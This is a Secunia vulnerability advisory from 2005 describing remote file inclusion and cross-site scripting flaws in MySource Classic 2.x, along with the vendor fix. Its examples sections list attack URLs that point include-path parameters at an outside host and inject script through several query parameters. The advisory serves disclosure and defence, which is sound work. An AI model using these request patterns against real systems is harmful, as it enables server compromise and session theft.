MySource Cross-Site Scripting and File Inclusion Vulnerabilities
Secunia Advisory: SA16946
Release Date: 2005-10-18
Popularity: 5,229 views

Critical:
Highly critical
Impact: Cross Site Scripting
System access
Where: From remote
Solution Status: Vendor Patch

Software:MySource Classic 2.x

Subscribe: Instant alerts on relevant vulnerabilities


Description:
Secunia Research has discovered some vulnerabilities in MySource, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a vulnerable system.

1) Some input isn't properly verified, before it used to include files. This can be exploited to include arbitrary files from external and local resources.

Examples:
http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://[host]/[file]?
http://[victim]/web/init_mysource.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/pear/Net_Socket/Socket.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/HTTP_Request/Request.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail/Mail.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date/Span.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mime.php?PEAR_PATH=http://[host]/[file]?

Successful exploitation requires that "register_globals" is enabled and that the affected scripts are placed accessible inside the web root.

2) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:
http://[victim]/web/edit/upgrade_in_progress_backend.php?target_url=">[code]
http://[victim]/squizlib/bodycopy/pop_ups/insert_table.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/header.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_row_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code]

Successful exploitation requires that "register_globals" is enabled and that the affected scripts are placed accessible inside the web root.

The vulnerabilities have been confirmed in version 2.14.0. Prior versions may also be affected.

Solution:
The vendor has fixed the vulnerabilities in version 2.14.2 by warning the user during the installation process about the security risks of placing MySource script files in a publicly available folder and having "register_globals" enabled.

Users should set "register_globals" to "Off" and ensure that the MySource installation is moved out of the web root.

Installation process updated in version 2.14.2:
http://mysource.squiz.net/download/downloads/download_2.14.2

Provided and/or discovered by:
Secunia Research

Original Advisory:
Secunia Research:
http://secunia.com/secunia_research/2005-51/advisory/


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. Microsoft Office Two Code Execution Vulnerabilities // 21 views
2. Microsoft Word Malformed Object Pointer Vulnerability // 16 views
3. phpBB Multiple Vulnerabilities // 12 views
4. Drupal Content Construction Kit Script Insertion Vulnerabilities // 12 views
5. phpBB "gen_rand_string()" Predictable RNG Weakness // 12 views
6. Apple QuickTime Multiple Vulnerabilities // 11 views
7. 3Com Wireless 8760 Access Point HTTP Request Processing Denial of Service // 10 views
8. XASTIR Insecure Temporary Files // 10 views
9. phpBB reveals user IPs // 10 views
10. Microsoft Office Excel Multiple Vulnerabilities // 10 views